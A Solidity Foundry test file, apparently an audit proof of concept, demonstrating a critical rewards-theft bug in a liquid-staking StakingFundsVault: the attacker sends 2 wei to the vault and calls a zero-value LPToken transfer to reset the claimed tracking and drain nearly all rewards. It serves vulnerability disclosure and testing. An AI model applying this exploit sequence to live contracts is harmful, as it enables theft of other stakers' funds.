rewards theft in staking vault

POC_StakingFundsVault_RewardsTheft.t.sol

pragma solidity ^0.8.13;

import "forge-std/console.sol";

import { StakingFundsVault } from "../../contracts/liquid-staking/StakingFundsVault.sol";
import { LPToken } from "../../contracts/liquid-staking/LPToken.sol";
import {
    TestUtils,
    MockLSDNFactory,
    MockLiquidStakingManager,
    MockAccountManager,
    IDataStructures
} from "../utils/TestUtils.sol";

contract POCStakingFundsVaultTest is TestUtils {
    address operations = accountOne;

    MockLiquidStakingManager liquidStakingManager;
    StakingFundsVault vault;

    uint256 maxStakingAmountPerValidator;

    function setUp() public {
        factory = createMockLSDNFactory();
        liquidStakingManager = deployDefaultLiquidStakingNetwork(factory, admin);
        manager = liquidStakingManager;
        vault = liquidStakingManager.stakingFundsVault();
        maxStakingAmountPerValidator = vault.maxStakingAmountPerValidator();

        // set up BLS keys required to initials registered
        MockAccountManager(factory.accountMan()).setLifecycleStatus(blsPubKeyOne, 1);
        MockAccountManager(factory.accountMan()).setLifecycleStatus(blsPubKeyTwo, 1);
        MockAccountManager(factory.accountMan()).setLifecycleStatus(blsPubKeyThree, 1);

        liquidStakingManager.setIsPartOfNetwork(blsPubKeyOne, true);
        liquidStakingManager.setIsPartOfNetwork(blsPubKeyTwo, true);
        liquidStakingManager.setIsPartOfNetwork(blsPubKeyThree, true);
    }

    /*  Hacker can steal all rewards because of the interaction between the accumulatedETHPerLPShare and claimed variables in `SyndicateRewardsProcessor`
     *  and because the LPToken `transfer` function as well as the `receive` function are publicly available.
     *
     *  In a nutshell, the hacker can claim his rewards as expected but then by sending more ether to the contract (because receive is publicly available), he can manipulate `accumulatedETHPerLPShare`
     *  and also the `claimed` variables. And since `due` is assigned instead of accumulated in the statement `claimed[_user][_token] = due;` in function `_distributeETHRewardsToUserForToken`, the hacker
     *  can reset his claimed amount and claim again. This can be done by calling the `claimRewards` functions if the require statements still allow it or he can even more simply call the public `transfer`
     *  function of the LPToken that would bypass all the requires and triggers  `_updateAccumulatedETHPerLP` and  `_distributeETHRewardsToUserForToken`. This is what I've done in this PoC.
     *
     *  Severity: Critical
     */
    function testCanStealAllRewards() public {
        address user = accountOne; vm.deal(user, 42 ether);
        address nodeRunner = accountThree; vm.deal(nodeRunner, 42 ether);
        address hacker = accountTwo; vm.deal(hacker, 2 ether);

        // register BLS key with the network
        registerSingleBLSPubKey(nodeRunner, blsPubKeyFour, accountFive);
        MockAccountManager(factory.accountMan()).setLifecycleStatus(blsPubKeyFour, 1);
        liquidStakingManager.setIsPartOfNetwork(blsPubKeyFour, true);

        vm.prank(user); vault.depositETHForStaking{value: 2 ether}(blsPubKeyFour, 2 ether);

        vm.startPrank(hacker);
        // The hacker deposits 2 ether to be part of the stakers and later claim rewards. This is as expected for any invested user.
        vault.depositETHForStaking{value: 2 ether}(blsPubKeyFour, 2 ether);
        vm.stopPrank();

        // Do a deposit of 24 ETH for savETH pool
        liquidStakingManager.savETHVault().depositETHForStaking{value: 24 ether}(blsPubKeyFour, 24 ether);

        stakeAndMintDerivativesSingleKey(blsPubKeyFour);

        LPToken token = vault.lpTokenForKnot(blsPubKeyFour);

        vm.warp(block.timestamp + 3 hours);

        // Reward ETH to the staking funds vault
        uint256 rewardsAmount = 2 ether;
        vm.deal(address(vault), rewardsAmount);
        assertEq(address(vault).balance, rewardsAmount);

        // at this stage, the hacker is acting.
        vm.startPrank(hacker);

        // His balance is 0 at the beginning.
        assertEq(address(hacker).balance, 0);

        vault.claimRewards(hacker, getBytesArrayFromBytes(blsPubKeyFour));

        // Since two users have invested the same amount, they should share the rewards by half.
        assertEq(address(hacker).balance, rewardsAmount / 2);

        // However, If the hacker manipulates `accumulatedETHPerLPShare` via `totalRewardsReceived()`, he can take more rewards...
        // so at this stage, the hacker changes the balance by simply sending 2 wei (explanation why 2 wei is right below) to the contract and consequently have the unprocessed amount > 0 in function `_updateAccumulatedETHPerLP`.
        // 
        // *Explanation why 2 wei*: The amount to be transfered to trigger the vuln must satisfy the following property `amount_to_be_transfered * token.sharesOf(hacker) / token.totalShares >= 1`.
        // In this example, the hacker has 2 ether of balance, and the totalShares is 4 ether because the derivatives have been minted only once, consequently `amount_to_be_transferred` must be >= 2 to trigger the vuln.
        payable(vault).transfer(2);

        // Then, by calling transfer() on the token, he manually triggers `beforeTokenTransfer` and `afterTokenTransfer` of the StakingFundsVault.
        // by doing it once, the due amount in function `_distributeETHRewardsToUserForToken` is almost 0 but not 0, therefore it allows entering the if block right below and overrides the `claimed[_user][_token]` amount with almost 0.
        // Also, any address but zero would do here and in the next statement, the statement is just used to trigger the hook functions.
        token.transfer(address(this), 0);
        // and at this stage, since `claimed[_user][_token]` is almost 0, `((accumulatedETHPerLPShare * balance) / PRECISION) - claimed[_user][_token]` is almost the amount that was already claimed right before... so by either calling transfer
        // or claimRewards once again, the hacker can double the rewards, i.e., rewards-1 in this example. He can do that any number of times necessary to capture all the rewards before other users do.
        token.transfer(address(this), 0);

        // and here we confirm that almost all the rewards have been captured.
        // What's interesting to note is that the money invested in the contract to trigger the vuln (2 wei) is also reclaimed so there is no loss except 1 wei to run the vuln and pass the if blocks.
        assertEq(address(hacker).balance, rewardsAmount-1); // all the rewards minus 1 wei has been captured instead of the expected rewards/2...
    }
}